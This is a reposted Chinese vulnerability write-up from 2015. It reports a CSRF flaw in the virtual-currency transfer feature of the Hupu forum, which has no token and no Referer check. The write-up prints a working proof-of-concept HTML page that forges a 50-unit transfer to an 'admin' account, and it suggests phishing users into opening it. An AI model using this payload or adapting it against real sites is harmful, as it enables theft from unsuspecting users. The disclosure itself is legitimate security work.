虎扑体育网某功能存在csrf可转账论坛虚拟币 --自学php网

虎扑体育网某功能存在csrf可转账论坛虚拟币 -

来源：自学PHP网时间：2015-04-17 10:16 作者：阅读:次

[导读] 虎扑有个银行功能, 存款单位为卡路里这次试了一下抓包看到过程没有token, refer去掉后也依旧转帐成功, 证明存在CSRF可能性1 利用xss js中的代码，在服务器上建立一个html页面html script sr...

虎扑有个银行功能, 存款单位为卡路里

这次试了一下

抓包看到过程

没有token, refer去掉后也依旧转帐成功, 证明存在CSRF可能性

1. 利用xss.js中的代码，在服务器上建立一个html页面

<html>
    <script src="xss.js"></script>
    <script>
        xss.csrf(url="http://my.hupu.com/bank_act.php", {"action": "virement", "pwuser": "admin", "to_money": "50", "content_plus": "csrf"});
    </script>
</html>

2. 用户点击后就会自动给admin用户转帐50卡路里

3. 利用方面主要依赖钓鱼技巧，给特定用户发链接钓其中招

百度某分站csrf漏洞可刷粉丝及修复 - 网站安全

攻击JavaWeb应用[6]-程序架构与代码审计 - 网站安

子栏目

虎扑体育网某功能存在csrf可转账论坛虚拟币 -

最新评论

添加评论

更多文章推荐

添加评论